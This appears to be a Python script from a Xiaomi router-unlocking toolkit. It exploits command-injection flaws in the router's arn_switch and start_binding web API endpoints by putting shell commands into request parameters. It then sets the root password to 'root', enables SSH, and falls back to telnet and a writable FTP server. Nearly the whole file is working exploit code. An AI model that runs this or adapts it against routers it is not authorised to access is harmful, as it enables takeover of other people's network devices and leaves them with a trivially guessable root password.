You cannot select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
140 lines
4.1 KiB
Python
140 lines
4.1 KiB
Python
#!/usr/bin/env python3
|
|
# -*- coding: utf-8 -*-
|
|
|
|
import os
|
|
import sys
|
|
import time
|
|
import requests
|
|
|
|
import xmir_base
|
|
from gateway import *
|
|
|
|
|
|
gw = Gateway(timeout = 4, detect_ssh = False)
|
|
if gw.status < 1:
|
|
die(f"Xiaomi Mi Wi-Fi device not found (IP: {gw.ip_addr})")
|
|
|
|
print(f"device_name = {gw.device_name}")
|
|
print(f"rom_version = {gw.rom_version} {gw.rom_channel}")
|
|
print(f"mac address = {gw.mac_address}")
|
|
|
|
dn = gw.device_name
|
|
gw.ssh_port = 22
|
|
ret = gw.detect_ssh(verbose = 1, interactive = True)
|
|
if ret == 23:
|
|
if gw.use_ftp:
|
|
die("Telnet and FTP servers already running!")
|
|
print("Telnet server already running, but FTP server not respond")
|
|
elif ret > 0:
|
|
#die(0, "SSH server already installed and running")
|
|
pass
|
|
|
|
info = gw.get_init_info()
|
|
if not info or info["code"] != 0:
|
|
die('Cannot get init_info')
|
|
|
|
ccode = info["countrycode"]
|
|
print(f'Current CountryCode = {ccode}')
|
|
|
|
stok = gw.web_login()
|
|
|
|
|
|
def exploit_1(cmd, api = 'API/misystem/arn_switch'):
|
|
# vuln/exploit author: ?????????
|
|
cmd = cmd.replace(';', '\n')
|
|
params = { 'open': 1, 'mode': 1, 'level': "\n" + cmd + "\n" }
|
|
res = gw.api_request(api, params, resp = 'text')
|
|
return res
|
|
|
|
def exploit_2(cmd, api = 'API/xqsystem/start_binding'):
|
|
# vuln/exploit author: ?????????
|
|
cmd = cmd.replace(';', '\n')
|
|
params = { 'uid': 1234, 'key': "1234'\n" + cmd + "\n'" }
|
|
res = gw.api_request(api, params, resp = 'text')
|
|
return res
|
|
|
|
|
|
# set default value for iperf_test_thr
|
|
gw.set_diag_iperf_test_thr(20)
|
|
|
|
vuln_test_num = 82000011
|
|
exec_cmd = None
|
|
exp_list = [ exploit_2, exploit_1 ]
|
|
for exp_func in exp_list:
|
|
try:
|
|
res = exp_func(f"uci set diag.config.iperf_test_thr={vuln_test_num} ; uci commit diag")
|
|
#if '"code":0' not in res:
|
|
# continue
|
|
except requests.exceptions.ReadTimeout:
|
|
time.sleep(1)
|
|
continue
|
|
time.sleep(0.5)
|
|
iperf_test_thr = gw.get_diag_iperf_test_thr()
|
|
if iperf_test_thr == str(vuln_test_num):
|
|
exec_cmd = exp_func
|
|
break
|
|
time.sleep(0.5)
|
|
|
|
# set default value for iperf_test_thr
|
|
gw.set_diag_iperf_test_thr(20)
|
|
|
|
if not exec_cmd:
|
|
die('Exploits arn_switch/start_binding not working!!!')
|
|
|
|
if exec_cmd == exploit_1:
|
|
print('Exploit "arn_switch" detected!')
|
|
|
|
if exec_cmd == exploit_2:
|
|
print('Exploit "start_binding" detected!')
|
|
|
|
|
|
exec_cmd(r"sed -i 's/release/XXXXXX/g' /etc/init.d/dropbear")
|
|
exec_cmd(r"nvram set ssh_en=1 ; nvram set boot_wait=on ; nvram set bootdelay=3 ; nvram commit")
|
|
exec_cmd(r"echo -e 'root\nroot' > /tmp/psw.txt ; passwd root < /tmp/psw.txt")
|
|
exec_cmd(r"/etc/init.d/dropbear enable")
|
|
|
|
print('Run SSH server on port 22 ...')
|
|
exec_cmd(r"/etc/init.d/dropbear restart")
|
|
exec_cmd(r"logger -t XMiR ___completed___")
|
|
|
|
time.sleep(0.5)
|
|
gw.use_ssh = True
|
|
gw.passw = 'root'
|
|
ssh_en = gw.ping(verbose = 0, contimeout = 11) # RSA host key generate slowly!
|
|
if ssh_en:
|
|
print('#### SSH server are activated! ####')
|
|
else:
|
|
print(f"WARNING: SSH server not responding (IP: {gw.ip_addr})")
|
|
|
|
if not ssh_en:
|
|
print("")
|
|
print('Unlock TelNet server ...')
|
|
exec_cmd("bdata set telnet_en=1 ; bdata commit")
|
|
print('Run TelNet server on port 23 ...')
|
|
exec_cmd("/etc/init.d/telnet enable ; /etc/init.d/telnet restart")
|
|
time.sleep(0.5)
|
|
gw.use_ssh = False
|
|
telnet_en = gw.ping(verbose = 2)
|
|
if not telnet_en:
|
|
print(f"ERROR: TelNet server not responding (IP: {gw.ip_addr})")
|
|
sys.exit(1)
|
|
print("")
|
|
print('#### TelNet server are activated! ####')
|
|
#print("")
|
|
#print('Run FTP server on port 21 ...')
|
|
gw.run_cmd(r"rm -f /etc/inetd.conf")
|
|
gw.run_cmd(r"sed -i 's/\\tftpd\\t/\\tftpd -w\\t/g' /etc/init.d/inetd")
|
|
gw.run_cmd('/etc/init.d/inetd enable')
|
|
gw.run_cmd('/etc/init.d/inetd restart')
|
|
gw.use_ftp = True
|
|
ftp_en = gw.ping(verbose = 0)
|
|
if ftp_en:
|
|
print('#### FTP server are activated! ####')
|
|
else:
|
|
print(f"WARNING: FTP server not responding (IP: {gw.ip_addr})")
|
|
|
|
if ssh_en or telnet_en:
|
|
gw.run_cmd('nvram set uart_en=1; nvram set boot_wait=on; nvram commit')
|
|
gw.run_cmd('nvram set bootdelay=3; nvram set bootmenu_delay=5; nvram commit')
|
|
|